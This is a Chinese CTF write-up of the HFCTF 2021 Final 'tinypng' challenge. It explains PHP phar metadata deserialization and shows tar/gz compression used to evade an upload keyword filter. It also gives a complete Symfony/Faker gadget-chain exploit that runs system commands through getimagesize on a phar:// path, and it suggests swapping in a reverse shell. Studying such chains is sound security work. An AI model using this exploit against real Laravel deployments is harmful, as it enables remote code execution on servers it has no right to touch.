[HFCTF 2021 Final]tinypng

0x00 前言

seebug复习一下phar在php反序列化中的利用

参考https://paper.seebug.org/680/
写的太好了… 直接粘了

phar文件会以序列化的形式存储用户自定义的meta-data这一特性拓展了php反序列化的攻击面

phar文件结构

  • stub
    类似标志,格式为xxx<?php xxx; __HALT_COMPILER();?>前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件
  • manifest
    phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。
    在这里插入图片描述
  • content
    被压缩文件的内容
  • [optional] a signature for verifying Phar integrity (phar file format only)
    签名,放在文件末尾,格式如下:
    在这里插入图片描述
    php底层
    php-src/ext/phar/phar.c
    在这里插入图片描述

local_test

php.ini中的phar.readonly选项设置为Off

php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化
(不全)
在这里插入图片描述
在这里插入图片描述
phar文件内容 确实序列化存储了meta-data
在这里插入图片描述
因为识别phar文件是通过标志xxx<?php xxx; __HALT_COMPILER();?> 所以在前面我们可任意添加
可以在setstub时添加文件头来进行伪装
eg:

<?php
    class TestObject {
    	public function __destruct(){
    		echo "have been unserialized";
    	}
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
    // phar生成

    // 调用系统函数phar伪协议解析 触发反序列化
    $filename = 'phar://phar.phar/test.txt';
    file_get_contents($filename);
?>

在这里插入图片描述

0x01 brain.md

一个上传点
在这里插入图片描述

给了源码
看一下路由
在这里插入图片描述
贴一下indexcontroller

<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;

class IndexController extends Controller
{
    public function fileUpload(Request $req)
    {
        $allowed_extension = "png";
        $extension = $req->file('file')->clientExtension();
        if($extension === $allowed_extension && $req->file('file')->getSize() < 204800)
        {
            $content = $req->file('file')->get();
            if (preg_match("/<\?|php|HALT\_COMPILER/i", $content )){
                $error = 'Don\'t do that, please';
                return back()
                    ->withErrors($error);
            }else {
                $fileName = \md5(time()) . '.png';
                $path = $req->file('file')->storePubliclyAs('uploads', $fileName);
                echo "path: $path";
                return back()
                    ->with('success', 'File has been uploaded.')
                    ->with('file', $path);
            }
        } else{
            $error = 'Don\'t do that, please';
            return back()
                ->withErrors($error);
        }


    }
}

ban掉了较多关键字

preg_match("/<\?|php|HALT\_COMPILER/i", $content )
little trick压缩phar绕过关键词

convertToExecutable
在这里插入图片描述
test

<?php
    class TestObject {
    	public function __destruct(){
    		echo "have been unserialized",PHP_EOL;
    	}
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar = $phar->convertToExecutable(Phar::TAR, Phar::GZ);
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
    // phar生成

?>

面目全非了
在这里插入图片描述
跟到ImageController

<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;

class ImageController extends Controller
{
    public function handle(Request $request)
    {
        $source = $request->input('image');
        if(empty($source)){
            return view('image');
        }
        $temp = explode(".", $source);
        $extension = end($temp);
        if ($extension !== 'png') {
            $error = 'Don\'t do that, pvlease';
            return back()
                ->withErrors($error);
        } else {
            $image_name = md5(time()) . '.png';
            $dst_img = '/var/www/html/' . $image_name;
            $percent = 1;
            (new imgcompress($source, $percent))->compressImg($dst_img);
            return back()->with('image_name', $image_name);
        }
    }
}

前面的很常规,到后面看到 imgcompress 引起注意
在这里插入图片描述
讲真这里的getimagesize函数也可利用是真没想到
localtest一下确实可行
在这里插入图片描述
然后找利用链
写的很nice

https://xz.aliyun.com/t/9318

稍微提炼一点trick
链子入口点一般都是__destruct方法,且该方法拥有形如 $this->[可控]->xxx()
eg:
parent可控
在这里插入图片描述
下一步寻找合适类带有__call方法
并且 __call方法最好可以调用用户自定义的函数
全局过一下
ValidGenerator瞩目
在这里插入图片描述

public function __call($name, $arguments)
    {
        $i = 0;
        do {
            $res = call_user_func_array([$this->generator, $name], $arguments);
            $i++;
            if ($i > $this->maxRetries) {
                throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries));
            }
        } while (!call_user_func($this->validator, $res));

        return $res;
    }

两种思路
1.call_user_func_array中rce,但name已经是addCollection了
$this->generator类中name方法参数arguments
再去寻找__call方法就陷入了死循环
2.call_user_func($this->validator, $res)中rce,validator可控,下面控制$res即可,最好能让$res = call_user_func_array([$this->generator, $name], $arguments);返回我们想要的值
发现defaultgenerator类中default完全可控
在这里插入图片描述
那么call_user_func($this->validator, $res)完全可控了
ok写链

<?php
namespace Symfony\Component\Routing\Loader\Configurator{
   
    class ImportConfigurator{
        private $parent;
        function __construct($a){
            $this->parent=$a;
            $this->route='test';
        }
    }
}
namespace Faker{
    class ValidGenerator{
        protected $generator;
        protected $validator;
        protected $maxRetries;
        function __construct($a,$func){
            $this->generator=$a;
            $this->validator=$func;
            $this->maxRetries=1;
        }
    }
    class DefaultGenerator{
        protected $default;
        function __construct($default){
            $this->default=$default;
        }
    }
}
    
namespace{
use Symfony\Component\Routing\Loader\Configurator\ImportConfigurator;
use Faker\ValidGenerator;
use Faker\DefaultGenerator;
$o=new ImportConfigurator(new ValidGenerator(new DefaultGenerator("cat /flag"),'system'));
@unlink('phar.phar');
$phar=new Phar('phar.phar');
$phar = $phar->convertToExecutable(Phar::TAR, Phar::GZ);
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($o);
$phar->addFromString('test.txt','test');
$phar->stopBuffering();
}
?>

当然rce处最好改成反弹shell回来
改名为phar.png上传
注意 /image只接受get请求
在这里插入图片描述
/image?image=phar://…/storage/app/uploads/xxx.png

在这里插入图片描述
done
PS:直接写马会写在/var/www/html目录下 而不是public目录下
在这里插入图片描述

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值